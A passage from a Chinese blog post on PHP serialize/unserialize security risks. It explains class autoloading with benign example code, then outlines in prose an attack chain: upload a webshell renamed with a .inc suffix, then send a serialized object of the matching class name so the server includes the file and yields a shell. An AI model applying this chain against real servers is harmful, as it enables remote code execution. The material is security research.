$filename = "./class/".$classname.".class.php";
if(is_file($filename)){
include $filename;
}
} $test1 = new class1();
echo '<br/>';
$test1 = new class2();
echo '<br/>';
$test1 = new class3(); //结果是
//class1
//class2
//class3 ?>

PHP自动加载了class下面所有的要加载的类

0x3: spl_autoload_register() —— 注册__autoload()函数

spl_autoload_register()本质上和__autoload()是一致的,区别在于spl_autoload_register只要运行注册一次即全局有效,不需要在每个单独的文件中都声明__autoload()

<?php
// 写一个loadclass函数
// loadclass函数不具备自动加载类的功能
function loadclass($classname){
$filename = "./class/".$classname.".class.php";
if(is_file($filename)){
include $filename;
}
}
// spl_autoload_register()函数让这个loadclass具备了自动加载类的功能
spl_autoload_register("loadclass"); $test1 = new class1();
echo '<br/>';
$test1 = new class2();
echo '<br/>';
$test1 = new class3();
?>

0x4: 入侵向量

1. 反序列化注入一个注入点当前代码空间没有的类

. 如果存在反序列化注入的文件加载的class很有限,当前代码空间并不包含可以进行代码执行、或文件写入的函数
. 如果目标CMS或者框架使用了spl_autoload_register()自动加载机制,可以直接注入一个当前代码控制不存在的class
. 在反序列化对象重建的时候,PHP会帮我们自动加载引入所需的class

2. 利用自动类加载机制绕过上传限制

. spl_autoload_register函数有个特点,如果不指定处理用的函数,就会自动包含"类名.php"或"类名.inc"的文件,并加载其中的"类名"类
. 如果目标框架对上传文件进行了重命名(例如MD5),或者不进行重命名且我们能知道上次后的文件名
. 上传webshell,后缀为.inc,被重命名为xxxx.inc
. 序列化一个类名为xxxx的类对象,生成payload后,发送给目标服务器
. 服务器反序列化这个字符串后,将会自动加载xxxx类,由于之前spl_autoload_register函数注册的方法,会自动加载xxxx.inc,从而造成文件包含漏洞,getshell成功

Relevant Link:

http://honkwin.com/show/1962.html
http://php.net/manual/zh/function.autoload.php
http://my.oschina.net/alexskywinner/blog/92737
http://drops.wooyun.org/tips/10564

Copyright (c) 2014 LittleHann All rights reserved

PHP serialize && unserialize Security Risk Research的更多相关文章

  1. PHP Datatype Conversion Safety Risk、Floating Point Precision、Operator Security Risk、Safety Coding Principle

    catalog . 引言 . PHP operator introduction . 算术运算符 . 赋值运算符 . 位运算符 . 执行运算符 . 递增/递减运算符 . 数组运算符 . 类型运算符 . ...

  2. 华为 huawei 查看系统中存在的安全风险信息 display security risk

    查看系统中存在的安全风险信息. 应用场景 由于协议自身的安全性能不同,用户配置时使用的某些协议可能存在安全风险.通过该命令可查看系统中存在的安全风险,并根据给出的修复建议解除风险.例如,用户配置了SN ...

  3. php serialize(),unserialize()

    序列化serialize()与反序列化unserialize(): 序列化serialize():就是将一个变量所代表的 “内存数据”转换为“字符串”的形式,并持久保存在硬盘(写入文件中保存)上的一种 ...

  4. serialize unserialize

    转自 http://www.cnblogs.com/yeer/archive/2009/03/25/1421161.html php函数serialize()与unserialize()   seri ...

  5. php -- 用文本来存储内容,file_put_contents,serialize,unserialize

    根据存储的内容来划分 字符串: file_put_contents :将一个字符串写入文件 语法:int file_put_contents ( string $filename , mixed $d ...

  6. 《Network Security A Decision and Game Theoretic Approach》阅读笔记

    网络安全问题的背景 网络安全研究的内容包括很多方面,作者形象比喻为盲人摸象,不同领域的网络安全专家对网络安全的认识是不同的. For researchers in the field of crypt ...

  7. phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对这个漏洞简单的概括如下 . "/scripts/setup.php&q ...

  8. A Study of WebRTC Security

    转自:http://webrtc-security.github.io/ A Study of WebRTC Security Abstract Web Real-Time Communication ...

  9. Automotive Security的一些资料和心得(1):Security Engineering

    陆续更新一些最近在Automotive Security方面的资料和心得. 1. Overview 1.1. Software Engineering Process PLC-Phases: Intr ...

随机推荐

  1. es6+移动轮播插件

    前言:之前赶项目,都是直接用框架,对于touch事件是模拟两可,趁着有心情,用es6写一个原生移动轮播插件. 用了es6的新特性,确实挺爽的,说到es6,就不得不说到babel,博主已经码好了,直接用 ...

  2. C/C++实践笔记 003

    数据结构与算法程序=数据结构+算法语言是一种工具语言工具(c,c++)--程序设计方法(面向过程.面向对象)——数据结构(二叉树.队列.栈.红黑树.链表……)——算法(快速排序算法.冒泡排序算法.选择 ...

  3. promise的学习

    为了解决回调地狱的问题,所以出现了promise的设计思想. promise的三种状态: pending 等待状态 resolved 完成状态 rejected 拒绝状态 promise的三种状态,只 ...

  4. TF2ZP函数

    TF2ZP 中TF是什么意思?   Transfer function   tf 就是传递函数的意思,简称传函 tf2zp是将传递函数转换为零极点形式的一个转换函数   [Z,P,K] = TF2ZP ...

  5. Learning to Rank 之 listwise ranking

    详细文章: http://www.machinelearning.org/proceedings/icml2007/papers/139.pdf

  6. C#中的数组,多维数组和交错数组

    想研究一些面向对象的东西,也许是代码写得还不够多.感觉还不好,看那些教程,不是嫌太水就是太难看不懂.心情很是落寞 不过再怎样也要坚持每天发一篇博客. 这篇来说一下C#中的数组,多维数组,交错数组的一些 ...

  7. XML的总结学习

    XML 指可扩展标记语言(eXtensible Markup Language). XML 被设计用来传输和存储数据. HTML 被设计用来显示数据.  (一切都是为了数据:采集.整理.存储.传输.显 ...

  8. extjs 箱子布局

    a.flex 配置项 flex 配置项不是设置在布局上,而是设置在子项的配置项.每个子项相对的 flex 值都会与全体子项 flex 累加的值相比较,根据此结果,处理每个子项的 flex 最后是多少. ...

  9. Ceph常用维护操作

    查看ceph 集群状态 1.ssh 登陆任一MON主机 2.执行 sudo ceph health detail 命令 启动.停止.重启.查看MON进程 1.登陆到MON的服务器,执行如下命令 sud ...

  10. WPS显示无法创建对象,请确认对象已在系统注册表中注册

    第一种方法:在系统的开始--所有程序找到WPS--WPS office工具--配置工具--高级--兼容设置,在这里勾选兼容第三方系统和软件. 第二种方法: xp/win7系统:拷贝packager.e ...